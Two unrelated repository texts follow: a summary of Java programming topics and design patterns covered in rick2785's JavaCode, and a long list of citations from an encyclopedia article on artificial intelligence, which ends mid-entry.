rick2785 / JavaCodeI specifically cover the following topics: Java primitive data types, declaration statements, expression statements, importing class libraries, excepting user input, checking for valid input, catching errors in input, math functions, if statement, relational operators, logical operators, ternary operator, switch statement, and looping. How class variables differ from local variables, Java Exception handling, the difference between run time and checked exceptions, Arrays, and UML Diagrams. Monsters gameboard, Java collection classes, Java ArrayLists, Linked Lists, manipulating Strings and StringBuilders, Polymorphism, Inheritance, Protected, Final, Instanceof, interfaces, abstract classes, abstract methods. You need interfaces and abstract classes because Java doesn't allow you to inherit from more than one other class. Java threads, Regular Expressions, Graphical User Interfaces (GUI) using Java Swing and its components, GUI Event Handling, ChangeListener, JOptionPane, combo boxes, list boxes, JLists, DefaultListModel, using JScrollpane with JList, JSpinner, JTree, Flow, Border, and Box Layout Managers. Created a calculator layout with Java Swing's GridLayout, GridBagLayout, GridBagConstraints, Font, and Insets. JLabel, JTextField, JComboBox, JSpinner, JSlider, JRadioButton, ButtonGroup, JCheckBox, JTextArea, JScrollPane, ChangeListener, pack, create and delete files and directories. How to pull lists of files from directories and manipulate them, write to and read character streams from files. PrintWriter, BufferedWriter, FileWriter, BufferedReader, FileReader, common file exceptions Binary Streams - DataOutputStream, FileOutputStream, BufferedOutputStream, all of the reading and writing primitive type methods, setup Java JDBC in Eclipse, connect to a MySQL database, query it and get the results of a query. JTables, JEditorPane Swing component. HyperlinkEvent and HyperlinkListener. Java JApplet, Java Servlets with Tomcat, GET and POST methods, Java Server Pages, parsing XML with Java, Java XPath, JDOM2 library, and 2D graphics. *Created a Java Paint Application using swing, events, mouse events, Graphics2D, ArrayList *Designed a Java Video Game like Asteroids with collision detection and shooting torpedos which also played sound in a JFrame, and removed items from the screen when they were destroyed. Rotating polygons, and Making Java Executable. Model View Controller (MVC) The Model is the class that contains the data and the methods needed to use the data. The View is the interface. The Controller coordinates interactions between the Model and View. DESIGN PATTERNS: Strategy design patternis used if you need to dynamically change an algorithm used by an object at run time. The pattern also allows you to eliminate code duplication. It separates behavior from super and subclasses. The Observer pattern is a software design pattern in which an object, called the subject (Publisher), maintains a list of its dependents, called observers (Subscribers), and notifies them automatically of any state changes, usually by calling one of their methods. The Factory design pattern is used when you want to define the class of an object at runtime. It also allows you to encapsulate object creation so that you can keep all object creation code in one place The Abstract Factory Design Pattern is like a factory, but everything is encapsulated. The Singleton pattern is used when you want to eliminate the option of instantiating more than one object. (Scrabble letters app) The Builder Design Pattern is used when you want to have many classes help in the creation of an object. By having different classes build the object you can then easily create many different types of objects without being forced to rewrite code. The Builder pattern provides a different way to make complex objects like you'd make using the Abstract Factory design pattern. The Prototype design pattern is used for creating new objects (instances) by cloning (copying) other objects. It allows for the adding of any subclass instance of a known super class at run time. It is used when there are numerous potential classes that you want to only use if needed at runtime. The major benefit of using the Prototype pattern is that it reduces the need for creating potentially unneeded subclasses. Java Reflection is an API and it's used to manipulate classes and everything in a class including fields, methods, constructors, private data, etc. (TestingReflection.java) The Decorator allows you to modify an object dynamically. You would use it when you want the capabilities of inheritance with subclasses, but you need to add functionality at run time. It is more flexible than inheritance. The Decorator Design Pattern simplifies code because you add functionality using many simple classes. Also, rather than rewrite old code you can extend it with new code and that is always good. (Pizza app) The Command design pattern allows you to store a list of commands for later use. With it you can store multiple commands in a class to use over and over. (ElectronicDevice app) The Adapter pattern is used when you want to translate one interface of a class into another interface. Allows 2 incompatible interfaces to work together. It allows the use of the available interface and the target interface. Any class can work together as long as the Adapter solves the issue that all classes must implement every method defined by the shared interface. (EnemyAttacker app) The Facade pattern basically says that you should simplify your methods so that much of what is done is in the background. In technical terms you should decouple the client from the sub components needed to perform an operation. (Bank app) The Bridge Pattern is used to decouple an abstraction from its implementation so that the two can vary independently. Progressively adding functionality while separating out major differences using abstract classes. (EntertainmentDevice app) In a Template Method pattern, you define a method (algorithm) in an abstract class. It contains both abstract methods and non-abstract methods. The subclasses that extend this abstract class then override those methods that don't make sense for them to use in the default way. (Sandwich app) The Iterator pattern provides you with a uniform way to access different collections of Objects. You can also write polymorphic code because you can refer to each collection of objects because they'll implement the same interface. (SongIterator app) The Composite design pattern is used to structure data into its individual parts as well as represent the inner workings of every part of a larger object. The composite pattern also allows you to treat both groups of parts in the same way as you treat the parts polymorphically. You can structure data, or represent the inner working of every part of a whole object individually. (SongComponent app) The flyweight design pattern is used to dramatically increase the speed of your code when you are using many similar objects. To reduce memory usage the flyweight design pattern shares Objects that are the same rather than creating new ones. (FlyWeightTest app) State Pattern allows an object to alter its behavior when its internal state changes. The object will appear to change its class. (ATMState) The Proxy design pattern limits access to just the methods you want made accessible in another class. It can be used for security reasons, because an Object is intensive to create, or is accessed from a remote location. You can think of it as a gate keeper that blocks access to another Object. (TestATMMachine) The Chain of Responsibility pattern has a group of objects that are expected to between them be able to solve a problem. If the first Object can't solve it, it passes the data to the next Object in the chain. (TestCalcChain) The Interpreter pattern is used to convert one representation of data into another. The context cantains the information that will be interpreted. The expression is an abstract class that defines all the methods needed to perform the different conversions. The terminal or concrete expressions provide specific conversions on different types of data. (MeasurementConversion) The Mediator design pattern is used to handle communication between related objects (Colleagues). All communication is handled by a Mediator Object and the Colleagues don't need to know anything about each other to work together. (TestStockMediator) The Memento design pattern provides a way to store previous states of an Object easily. It has 3 main classes: 1) Memento: The basic object that is stored in different states. 2) Originator: Sets and Gets values from the currently targeted Memento. Creates new Mementos and assigns current values to them. 3) Caretaker: Holds an ArrayList that contains all previous versions of the Memento. It can store and retrieve stored Mementos. (TestMemento) The Visitor design pattern allows you to add methods to classes of different types without much altering to those classes. You can make completely different methods depending on the class used with this pattern. (VisitorTest)
Aryia-Behroziuan / ReferencesPoole, Mackworth & Goebel 1998, p. 1. Russell & Norvig 2003, p. 55. Definition of AI as the study of intelligent agents: Poole, Mackworth & Goebel (1998), which provides the version that is used in this article. These authors use the term "computational intelligence" as a synonym for artificial intelligence.[1] Russell & Norvig (2003) (who prefer the term "rational agent") and write "The whole-agent view is now widely accepted in the field".[2] Nilsson 1998 Legg & Hutter 2007 Russell & Norvig 2009, p. 2. McCorduck 2004, p. 204 Maloof, Mark. "Artificial Intelligence: An Introduction, p. 37" (PDF). georgetown.edu. Archived (PDF) from the original on 25 August 2018. "How AI Is Getting Groundbreaking Changes In Talent Management And HR Tech". Hackernoon. Archived from the original on 11 September 2019. Retrieved 14 February 2020. Schank, Roger C. (1991). "Where's the AI". AI magazine. Vol. 12 no. 4. p. 38. Russell & Norvig 2009. "AlphaGo – Google DeepMind". Archived from the original on 10 March 2016. Allen, Gregory (April 2020). "Department of Defense Joint AI Center - Understanding AI Technology" (PDF). AI.mil - The official site of the Department of Defense Joint Artificial Intelligence Center. Archived (PDF) from the original on 21 April 2020. Retrieved 25 April 2020. Optimism of early AI: * Herbert Simon quote: Simon 1965, p. 96 quoted in Crevier 1993, p. 109. * Marvin Minsky quote: Minsky 1967, p. 2 quoted in Crevier 1993, p. 109. Boom of the 1980s: rise of expert systems, Fifth Generation Project, Alvey, MCC, SCI: * McCorduck 2004, pp. 426–441 * Crevier 1993, pp. 161–162,197–203, 211, 240 * Russell & Norvig 2003, p. 24 * NRC 1999, pp. 210–211 * Newquist 1994, pp. 235–248 First AI Winter, Mansfield Amendment, Lighthill report * Crevier 1993, pp. 115–117 * Russell & Norvig 2003, p. 22 * NRC 1999, pp. 212–213 * Howe 1994 * Newquist 1994, pp. 189–201 Second AI winter: * McCorduck 2004, pp. 430–435 * Crevier 1993, pp. 209–210 * NRC 1999, pp. 214–216 * Newquist 1994, pp. 301–318 AI becomes hugely successful in the early 21st century * Clark 2015 Pamela McCorduck (2004, p. 424) writes of "the rough shattering of AI in subfields—vision, natural language, decision theory, genetic algorithms, robotics ... and these with own sub-subfield—that would hardly have anything to say to each other." This list of intelligent traits is based on the topics covered by the major AI textbooks, including: * Russell & Norvig 2003 * Luger & Stubblefield 2004 * Poole, Mackworth & Goebel 1998 * Nilsson 1998 Kolata 1982. Maker 2006. Biological intelligence vs. intelligence in general: Russell & Norvig 2003, pp. 2–3, who make the analogy with aeronautical engineering. McCorduck 2004, pp. 100–101, who writes that there are "two major branches of artificial intelligence: one aimed at producing intelligent behavior regardless of how it was accomplished, and the other aimed at modeling intelligent processes found in nature, particularly human ones." Kolata 1982, a paper in Science, which describes McCarthy's indifference to biological models. Kolata quotes McCarthy as writing: "This is AI, so we don't care if it's psychologically real".[19] McCarthy recently reiterated his position at the AI@50 conference where he said "Artificial intelligence is not, by definition, simulation of human intelligence".[20]. Neats vs. scruffies: * McCorduck 2004, pp. 421–424, 486–489 * Crevier 1993, p. 168 * Nilsson 1983, pp. 10–11 Symbolic vs. sub-symbolic AI: * Nilsson (1998, p. 7), who uses the term "sub-symbolic". General intelligence (strong AI) is discussed in popular introductions to AI: * Kurzweil 1999 and Kurzweil 2005 See the Dartmouth proposal, under Philosophy, below. McCorduck 2004, p. 34. McCorduck 2004, p. xviii. McCorduck 2004, p. 3. McCorduck 2004, pp. 340–400. This is a central idea of Pamela McCorduck's Machines Who Think. She writes: "I like to think of artificial intelligence as the scientific apotheosis of a venerable cultural tradition."[26] "Artificial intelligence in one form or another is an idea that has pervaded Western intellectual history, a dream in urgent need of being realized."[27] "Our history is full of attempts—nutty, eerie, comical, earnest, legendary and real—to make artificial intelligences, to reproduce what is the essential us—bypassing the ordinary means. Back and forth between myth and reality, our imaginations supplying what our workshops couldn't, we have engaged for a long time in this odd form of self-reproduction."[28] She traces the desire back to its Hellenistic roots and calls it the urge to "forge the Gods."[29] "Stephen Hawking believes AI could be mankind's last accomplishment". BetaNews. 21 October 2016. Archived from the original on 28 August 2017. Lombardo P, Boehm I, Nairz K (2020). "RadioComics – Santa Claus and the future of radiology". Eur J Radiol. 122 (1): 108771. doi:10.1016/j.ejrad.2019.108771. PMID 31835078. Ford, Martin; Colvin, Geoff (6 September 2015). "Will robots create more jobs than they destroy?". The Guardian. Archived from the original on 16 June 2018. Retrieved 13 January 2018. AI applications widely used behind the scenes: * Russell & Norvig 2003, p. 28 * Kurzweil 2005, p. 265 * NRC 1999, pp. 216–222 * Newquist 1994, pp. 189–201 AI in myth: * McCorduck 2004, pp. 4–5 * Russell & Norvig 2003, p. 939 AI in early science fiction. * McCorduck 2004, pp. 17–25 Formal reasoning: * Berlinski, David (2000). The Advent of the Algorithm. Harcourt Books. ISBN 978-0-15-601391-8. OCLC 46890682. Archived from the original on 26 July 2020. Retrieved 22 August 2020. Turing, Alan (1948), "Machine Intelligence", in Copeland, B. Jack (ed.), The Essential Turing: The ideas that gave birth to the computer age, Oxford: Oxford University Press, p. 412, ISBN 978-0-19-825080-7 Russell & Norvig 2009, p. 16. Dartmouth conference: * McCorduck 2004, pp. 111–136 * Crevier 1993, pp. 47–49, who writes "the conference is generally recognized as the official birthdate of the new science." * Russell & Norvig 2003, p. 17, who call the conference "the birth of artificial intelligence." * NRC 1999, pp. 200–201 McCarthy, John (1988). "Review of The Question of Artificial Intelligence". Annals of the History of Computing. 10 (3): 224–229., collected in McCarthy, John (1996). "10. Review of The Question of Artificial Intelligence". Defending AI Research: A Collection of Essays and Reviews. CSLI., p. 73, "[O]ne of the reasons for inventing the term "artificial intelligence" was to escape association with "cybernetics". Its concentration on analog feedback seemed misguided, and I wished to avoid having either to accept Norbert (not Robert) Wiener as a guru or having to argue with him." Hegemony of the Dartmouth conference attendees: * Russell & Norvig 2003, p. 17, who write "for the next 20 years the field would be dominated by these people and their students." * McCorduck 2004, pp. 129–130 Russell & Norvig 2003, p. 18. Schaeffer J. (2009) Didn't Samuel Solve That Game?. In: One Jump Ahead. Springer, Boston, MA Samuel, A. L. (July 1959). "Some Studies in Machine Learning Using the Game of Checkers". IBM Journal of Research and Development. 3 (3): 210–229. CiteSeerX 10.1.1.368.2254. doi:10.1147/rd.33.0210. "Golden years" of AI (successful symbolic reasoning programs 1956–1973): * McCorduck 2004, pp. 243–252 * Crevier 1993, pp. 52–107 * Moravec 1988, p. 9 * Russell & Norvig 2003, pp. 18–21 The programs described are Arthur Samuel's checkers program for the IBM 701, Daniel Bobrow's STUDENT, Newell and Simon's Logic Theorist and Terry Winograd's SHRDLU. DARPA pours money into undirected pure research into AI during the 1960s: * McCorduck 2004, p. 131 * Crevier 1993, pp. 51, 64–65 * NRC 1999, pp. 204–205 AI in England: * Howe 1994 Lighthill 1973. Expert systems: * ACM 1998, I.2.1 * Russell & Norvig 2003, pp. 22–24 * Luger & Stubblefield 2004, pp. 227–331 * Nilsson 1998, chpt. 17.4 * McCorduck 2004, pp. 327–335, 434–435 * Crevier 1993, pp. 145–62, 197–203 * Newquist 1994, pp. 155–183 Mead, Carver A.; Ismail, Mohammed (8 May 1989). Analog VLSI Implementation of Neural Systems (PDF). The Kluwer International Series in Engineering and Computer Science. 80. Norwell, MA: Kluwer Academic Publishers. doi:10.1007/978-1-4613-1639-8. ISBN 978-1-4613-1639-8. Archived from the original (PDF) on 6 November 2019. Retrieved 24 January 2020. Formal methods are now preferred ("Victory of the neats"): * Russell & Norvig 2003, pp. 25–26 * McCorduck 2004, pp. 486–487 McCorduck 2004, pp. 480–483. Markoff 2011. "Ask the AI experts: What's driving today's progress in AI?". McKinsey & Company. Archived from the original on 13 April 2018. Retrieved 13 April 2018. Administrator. "Kinect's AI breakthrough explained". i-programmer.info. Archived from the original on 1 February 2016. Rowinski, Dan (15 January 2013). "Virtual Personal Assistants & The Future Of Your Smartphone [Infographic]". ReadWrite. Archived from the original on 22 December 2015. "Artificial intelligence: Google's AlphaGo beats Go master Lee Se-dol". BBC News. 12 March 2016. Archived from the original on 26 August 2016. Retrieved 1 October 2016. Metz, Cade (27 May 2017). "After Win in China, AlphaGo's Designers Explore New AI". Wired. Archived from the original on 2 June 2017. "World's Go Player Ratings". May 2017. Archived from the original on 1 April 2017. "柯洁迎19岁生日 雄踞人类世界排名第一已两年" (in Chinese). May 2017. Archived from the original on 11 August 2017. Clark, Jack (8 December 2015). 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"Artificial Intelligence: You know it isn't real, yeah?". www.theregister.co.uk. Archived from the original on 21 May 2020. Retrieved 22 August 2020. "Stop Calling it Artificial Intelligence". Archived from the original on 2 December 2019. Retrieved 1 December 2019. "AI isn't taking over the world – it doesn't exist yet". GBG Global website. Archived from the original on 11 August 2020. Retrieved 22 August 2020. Kaplan, Andreas; Haenlein, Michael (1 January 2019). "Siri, Siri, in my hand: Who's the fairest in the land? On the interpretations, illustrations, and implications of artificial intelligence". Business Horizons. 62 (1): 15–25. doi:10.1016/j.bushor.2018.08.004. Domingos 2015, Chapter 5. Domingos 2015, Chapter 7. Lindenbaum, M., Markovitch, S., & Rusakov, D. (2004). Selective sampling for nearest neighbor classifiers. Machine learning, 54(2), 125–152. Domingos 2015, Chapter 1. Intractability and efficiency and the combinatorial explosion: * Russell & Norvig 2003, pp. 9, 21–22 Domingos 2015, Chapter 2, Chapter 3. Hart, P. E.; Nilsson, N. J.; Raphael, B. (1972). "Correction to "A Formal Basis for the Heuristic Determination of Minimum Cost Paths"". SIGART Newsletter (37): 28–29. doi:10.1145/1056777.1056779. S2CID 6386648. Domingos 2015, Chapter 2, Chapter 4, Chapter 6. "Can neural network computers learn from experience, and if so, could they ever become what we would call 'smart'?". Scientific American. 2018. Archived from the original on 25 March 2018. Retrieved 24 March 2018. Domingos 2015, Chapter 6, Chapter 7. Domingos 2015, p. 286. "Single pixel change fools AI programs". BBC News. 3 November 2017. Archived from the original on 22 March 2018. Retrieved 12 March 2018. "AI Has a Hallucination Problem That's Proving Tough to Fix". WIRED. 2018. Archived from the original on 12 March 2018. Retrieved 12 March 2018. Matti, D.; Ekenel, H. K.; Thiran, J. P. (2017). Combining LiDAR space clustering and convolutional neural networks for pedestrian detection. 2017 14th IEEE International Conference on Advanced Video and Signal Based Surveillance (AVSS). pp. 1–6. arXiv:1710.06160. doi:10.1109/AVSS.2017.8078512. ISBN 978-1-5386-2939-0. S2CID 2401976. Ferguson, Sarah; Luders, Brandon; Grande, Robert C.; How, Jonathan P. (2015). Real-Time Predictive Modeling and Robust Avoidance of Pedestrians with Uncertain, Changing Intentions. Algorithmic Foundations of Robotics XI. Springer Tracts in Advanced Robotics. 107. Springer, Cham. pp. 161–177. arXiv:1405.5581. doi:10.1007/978-3-319-16595-0_10. ISBN 978-3-319-16594-3. S2CID 8681101. "Cultivating Common Sense | DiscoverMagazine.com". Discover Magazine. 2017. Archived from the original on 25 March 2018. Retrieved 24 March 2018. Davis, Ernest; Marcus, Gary (24 August 2015). "Commonsense reasoning and commonsense knowledge in artificial intelligence". Communications of the ACM. 58 (9): 92–103. doi:10.1145/2701413. S2CID 13583137. Archived from the original on 22 August 2020. Retrieved 6 April 2020. Winograd, Terry (January 1972). "Understanding natural language". Cognitive Psychology. 3 (1): 1–191. doi:10.1016/0010-0285(72)90002-3. "Don't worry: Autonomous cars aren't coming tomorrow (or next year)". Autoweek. 2016. Archived from the original on 25 March 2018. Retrieved 24 March 2018. Knight, Will (2017). "Boston may be famous for bad drivers, but it's the testing ground for a smarter self-driving car". MIT Technology Review. Archived from the original on 22 August 2020. Retrieved 27 March 2018. Prakken, Henry (31 August 2017). "On the problem of making autonomous vehicles conform to traffic law". Artificial Intelligence and Law. 25 (3): 341–363. doi:10.1007/s10506-017-9210-0. Lieto, Antonio (May 2018). "The knowledge level in cognitive architectures: Current limitations and possible developments". Cognitive Systems Research. 48: 39–55. doi:10.1016/j.cogsys.2017.05.001. hdl:2318/1665207. S2CID 206868967. Problem solving, puzzle solving, game playing and deduction: * Russell & Norvig 2003, chpt. 3–9, * Poole, Mackworth & Goebel 1998, chpt. 2,3,7,9, * Luger & Stubblefield 2004, chpt. 3,4,6,8, * Nilsson 1998, chpt. 7–12 Uncertain reasoning: * Russell & Norvig 2003, pp. 452–644, * Poole, Mackworth & Goebel 1998, pp. 345–395, * Luger & Stubblefield 2004, pp. 333–381, * Nilsson 1998, chpt. 19 Psychological evidence of sub-symbolic reasoning: * Wason & Shapiro (1966) showed that people do poorly on completely abstract problems, but if the problem is restated to allow the use of intuitive social intelligence, performance dramatically improves. (See Wason selection task) * Kahneman, Slovic & Tversky (1982) have shown that people are terrible at elementary problems that involve uncertain reasoning. (See list of cognitive biases for several examples). * Lakoff & Núñez (2000) have controversially argued that even our skills at mathematics depend on knowledge and skills that come from "the body", i.e. sensorimotor and perceptual skills. (See Where Mathematics Comes From) Knowledge representation: * ACM 1998, I.2.4, * Russell & Norvig 2003, pp. 320–363, * Poole, Mackworth & Goebel 1998, pp. 23–46, 69–81, 169–196, 235–277, 281–298, 319–345, * Luger & Stubblefield 2004, pp. 227–243, * Nilsson 1998, chpt. 18 Knowledge engineering: * Russell & Norvig 2003, pp. 260–266, * Poole, Mackworth & Goebel 1998, pp. 199–233, * Nilsson 1998, chpt. ≈17.1–17.4 Representing categories and relations: Semantic networks, description logics, inheritance (including frames and scripts): * Russell & Norvig 2003, pp. 349–354, * Poole, Mackworth & Goebel 1998, pp. 174–177, * Luger & Stubblefield 2004, pp. 248–258, * Nilsson 1998, chpt. 18.3 Representing events and time:Situation calculus, event calculus, fluent calculus (including solving the frame problem): * Russell & Norvig 2003, pp. 328–341, * Poole, Mackworth & Goebel 1998, pp. 281–298, * Nilsson 1998, chpt. 18.2 Causal calculus: * Poole, Mackworth & Goebel 1998, pp. 335–337 Representing knowledge about knowledge: Belief calculus, modal logics: * Russell & Norvig 2003, pp. 341–344, * Poole, Mackworth & Goebel 1998, pp. 275–277 Sikos, Leslie F. (June 2017). Description Logics in Multimedia Reasoning. Cham: Springer. doi:10.1007/978-3-319-54066-5. ISBN 978-3-319-54066-5. S2CID 3180114. Archived from the original on 29 August 2017. Ontology: * Russell & Norvig 2003, pp. 320–328 Smoliar, Stephen W.; Zhang, HongJiang (1994). "Content based video indexing and retrieval". IEEE Multimedia. 1 (2): 62–72. doi:10.1109/93.311653. S2CID 32710913. Neumann, Bernd; Möller, Ralf (January 2008). "On scene interpretation with description logics". Image and Vision Computing. 26 (1): 82–101. doi:10.1016/j.imavis.2007.08.013. Kuperman, G. J.; Reichley, R. M.; Bailey, T. C. (1 July 2006). "Using Commercial Knowledge Bases for Clinical Decision Support: Opportunities, Hurdles, and Recommendations". Journal of the American Medical Informatics Association. 13 (4): 369–371. doi:10.1197/jamia.M2055. PMC 1513681. PMID 16622160. MCGARRY, KEN (1 December 2005). "A survey of interestingness measures for knowledge discovery". The Knowledge Engineering Review. 20 (1): 39–61. doi:10.1017/S0269888905000408. S2CID 14987656. Bertini, M; Del Bimbo, A; Torniai, C (2006). "Automatic annotation and semantic retrieval of video sequences using multimedia ontologies". MM '06 Proceedings of the 14th ACM international conference on Multimedia. 14th ACM international conference on Multimedia. Santa Barbara: ACM. pp. 679–682. Qualification problem: * McCarthy & Hayes 1969 * Russell & Norvig 2003[page needed] While McCarthy was primarily concerned with issues in the logical representation of actions, Russell & Norvig 2003 apply the term to the more general issue of default reasoning in the vast network of assumptions underlying all our commonsense knowledge. Default reasoning and default logic, non-monotonic logics, circumscription, closed world assumption, abduction (Poole et al. places abduction under "default reasoning". Luger et al. places this under "uncertain reasoning"): * Russell & Norvig 2003, pp. 354–360, * Poole, Mackworth & Goebel 1998, pp. 248–256, 323–335, * Luger & Stubblefield 2004, pp. 335–363, * Nilsson 1998, ~18.3.3 Breadth of commonsense knowledge: * Russell & Norvig 2003, p. 21, * Crevier 1993, pp. 113–114, * Moravec 1988, p. 13, * Lenat & Guha 1989 (Introduction) Dreyfus & Dreyfus 1986. Gladwell 2005. Expert knowledge as embodied intuition: * Dreyfus & Dreyfus 1986 (Hubert Dreyfus is a philosopher and critic of AI who was among the first to argue that most useful human knowledge was encoded sub-symbolically. See Dreyfus' critique of AI) * Gladwell 2005 (Gladwell's Blink is a popular introduction to sub-symbolic reasoning and knowledge.) * Hawkins & Blakeslee 2005 (Hawkins argues that sub-symbolic knowledge should be the primary focus of AI research.) Planning: * ACM 1998, ~I.2.8, * Russell & Norvig 2003, pp. 375–459, * Poole, Mackworth & Goebel 1998, pp. 281–316, * Luger & Stubblefield 2004, pp. 314–329, * Nilsson 1998, chpt. 10.1–2, 22 Information value theory: * Russell & Norvig 2003, pp. 600–604 Classical planning: * Russell & Norvig 2003, pp. 375–430, * Poole, Mackworth & Goebel 1998, pp. 281–315, * Luger & Stubblefield 2004, pp. 314–329, * Nilsson 1998, chpt. 10.1–2, 22 Planning and acting in non-deterministic domains: conditional planning, execution monitoring, replanning and continuous planning: * Russell & Norvig 2003, pp. 430–449 Multi-agent planning and emergent behavior: * Russell & Norvig 2003, pp. 449–455 Turing 1950. Solomonoff 1956. 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Archived from the original on 11 June 2020. Retrieved 11 June 2020. Machine perception: * Russell & Norvig 2003, pp. 537–581, 863–898 * Nilsson 1998, ~chpt. 6 Speech recognition: * ACM 1998, ~I.2.7 * Russell & Norvig 2003, pp. 568–578 Object recognition: * Russell & Norvig 2003, pp. 885–892 Computer vision: * ACM 1998, I.2.10 * Russell & Norvig 2003, pp. 863–898 * Nilsson 1998, chpt. 6 Robotics: * ACM 1998, I.2.9, * Russell & Norvig 2003, pp. 901–942, * Poole, Mackworth & Goebel 1998, pp. 443–460 Moving and configuration space: * Russell & Norvig 2003, pp. 916–932 Tecuci 2012. Robotic mapping (localization, etc): * Russell & Norvig 2003, pp. 908–915 Cadena, Cesar; Carlone, Luca; Carrillo, Henry; Latif, Yasir; Scaramuzza, Davide; Neira, Jose; Reid, Ian; Leonard, John J. (December 2016). "Past, Present, and Future of Simultaneous Localization and Mapping: Toward the Robust-Perception Age". IEEE Transactions on Robotics. 32 (6): 1309–1332. arXiv:1606.05830. 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Retrieved 26 April 2018. Domingos 2015. Artificial brain arguments: AI requires a simulation of the operation of the human brain * Russell & Norvig 2003, p. 957 * Crevier 1993, pp. 271 and 279 A few of the people who make some form of the argument: * Moravec 1988 * Kurzweil 2005, p. 262 * Hawkins & Blakeslee 2005 The most extreme form of this argument (the brain replacement scenario) was put forward by Clark Glymour in the mid-1970s and was touched on by Zenon Pylyshyn and John Searle in 1980. Goertzel, Ben; Lian, Ruiting; Arel, Itamar; de Garis, Hugo; Chen, Shuo (December 2010). "A world survey of artificial brain projects, Part II: Biologically inspired cognitive architectures". Neurocomputing. 74 (1–3): 30–49. doi:10.1016/j.neucom.2010.08.012. Nilsson 1983, p. 10. Nils Nilsson writes: "Simply put, there is wide disagreement in the field about what AI is all about."[163] AI's immediate precursors: * McCorduck 2004, pp. 51–107 * Crevier 1993, pp. 27–32 * Russell & Norvig 2003, pp. 15, 940 * Moravec 1988, p. 3 Haugeland 1985, pp. 112–117 The most dramatic case of sub-symbolic AI being pushed into the background was the devastating critique of perceptrons by Marvin Minsky and Seymour Papert in 1969. See History of AI, AI winter, or Frank Rosenblatt. Cognitive simulation, Newell and Simon, AI at CMU (then called Carnegie Tech): * McCorduck 2004, pp. 139–179, 245–250, 322–323 (EPAM) * Crevier 1993, pp. 145–149 Soar (history): * McCorduck 2004, pp. 450–451 * Crevier 1993, pp. 258–263 McCarthy and AI research at SAIL and SRI International: * McCorduck 2004, pp. 251–259 * Crevier 1993 AI research at Edinburgh and in France, birth of Prolog: * Crevier 1993, pp. 193–196 * Howe 1994 AI at MIT under Marvin Minsky in the 1960s : * McCorduck 2004, pp. 259–305 * Crevier 1993, pp. 83–102, 163–176 * Russell & Norvig 2003, p. 19 Cyc: * McCorduck 2004, p. 489, who calls it "a determinedly scruffy enterprise" * Crevier 1993, pp. 239–243 * Russell & Norvig 2003, p. 363−365 * Lenat & Guha 1989 Knowledge revolution: * McCorduck 2004, pp. 266–276, 298–300, 314, 421 * Russell & Norvig 2003, pp. 22–23 Frederick, Hayes-Roth; William, Murray; Leonard, Adelman. "Expert systems". AccessScience. doi:10.1036/1097-8542.248550. Embodied approaches to AI: * McCorduck 2004, pp. 454–462 * Brooks 1990 * Moravec 1988 Weng et al. 2001. Lungarella et al. 2003. Asada et al. 2009. Oudeyer 2010. Revival of connectionism: * Crevier 1993, pp. 214–215 * Russell & Norvig 2003, p. 25 Computational intelligence * IEEE Computational Intelligence Society Archived 9 May 2008 at the Wayback Machine Hutson, Matthew (16 February 2018). "Artificial intelligence faces reproducibility crisis". Science. pp. 725–726. Bibcode:2018Sci...359..725H. doi:10.1126/science.359.6377.725. Archived from the original on 29 April 2018. Retrieved 28 April 2018. Norvig 2012. Langley 2011. Katz 2012. The intelligent agent paradigm: * Russell & Norvig 2003, pp. 27, 32–58, 968–972 * Poole, Mackworth & Goebel 1998, pp. 7–21 * Luger & Stubblefield 2004, pp. 235–240 * Hutter 2005, pp. 125–126 The definition used in this article, in terms of goals, actions, perception and environment, is due to Russell & Norvig (2003). Other definitions also include knowledge and learning as additional criteria. Agent architectures, hybrid intelligent systems: * Russell & Norvig (2003, pp. 27, 932, 970–972) * Nilsson (1998, chpt. 25) Hierarchical control system: * Albus 2002 Lieto, Antonio; Lebiere, Christian; Oltramari, Alessandro (May 2018). "The knowledge level in cognitive architectures: Current limitations and possibile developments". Cognitive Systems Research. 48: 39–55. doi:10.1016/j.cogsys.2017.05.001. hdl:2318/1665207. S2CID 206868967. Lieto, Antonio; Bhatt, Mehul; Oltramari, Alessandro; Vernon, David (May 2018). "The role of cognitive architectures in general artificial intelligence". Cognitive Systems Research. 48: 1–3. doi:10.1016/j.cogsys.2017.08.003. hdl:2318/1665249. S2CID 36189683. Russell & Norvig 2009, p. 1. White Paper: On Artificial Intelligence - A European approach to excellence and trust (PDF). Brussels: European Commission. 2020. p. 1. Archived (PDF) from the original on 20 February 2020. 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"Social media 'outstrips TV' as news source for young people". BBC News. Archived from the original on 24 June 2016. Smith, Mark (22 July 2016). "So you think you chose to read this article?". BBC News. Archived from the original on 25 July 2016. Brown, Eileen. "Half of Americans do not believe deepfake news could target them online". ZDNet. Archived from the original on 6 November 2019. Retrieved 3 December 2019. The Turing test: Turing's original publication: * Turing 1950 Historical influence and philosophical implications: * Haugeland 1985, pp. 6–9 * Crevier 1993, p. 24 * McCorduck 2004, pp. 70–71 * Russell & Norvig 2003, pp. 2–3 and 948 Dartmouth proposal: * McCarthy et al. 1955 (the original proposal) * Crevier 1993, p. 49 (historical significance) The physical symbol systems hypothesis: * Newell & Simon 1976, p. 116 * McCorduck 2004, p. 153 * Russell & Norvig 2003, p. 18 Dreyfus 1992, p. 156. Dreyfus criticized the necessary condition of the physical symbol system hypothesis, which he called the "psychological assumption": "The mind can be viewed as a device operating on bits of information according to formal rules."[206] Dreyfus' critique of artificial intelligence: * Dreyfus 1972, Dreyfus & Dreyfus 1986 * Crevier 1993, pp. 120–132 * McCorduck 2004, pp. 211–239 * Russell & Norvig 2003, pp. 950–952, Gödel 1951: in this lecture, Kurt Gödel uses the incompleteness theorem to arrive at the following disjunction: (a) the human mind is not a consistent finite machine, or (b) there exist Diophantine equations for which it cannot decide whether solutions exist. Gödel finds (b) implausible, and thus seems to have believed the human mind was not equivalent to a finite machine, i.e., its power exceeded that of any finite machine. He recognized that this was only a conjecture, since one could never disprove (b). Yet he considered the disjunctive conclusion to be a "certain fact". The Mathematical Objection: * Russell & Norvig 2003, p. 949 * McCorduck 2004, pp. 448–449 Making the Mathematical Objection: * Lucas 1961 * Penrose 1989 Refuting Mathematical Objection: * Turing 1950 under "(2) The Mathematical Objection" * Hofstadter 1979 Background: * Gödel 1931, Church 1936, Kleene 1935, Turing 1937 Graham Oppy (20 January 2015). "Gödel's Incompleteness Theorems". Stanford Encyclopedia of Philosophy. Archived from the original on 22 April 2016. Retrieved 27 April 2016. These Gödelian anti-mechanist arguments are, however, problematic, and there is wide consensus that they fail. Stuart J. Russell; Peter Norvig (2010). "26.1.2: Philosophical Foundations/Weak AI: Can Machines Act Intelligently?/The mathematical objection". Artificial Intelligence: A Modern Approach (3rd ed.). Upper Saddle River, NJ: Prentice 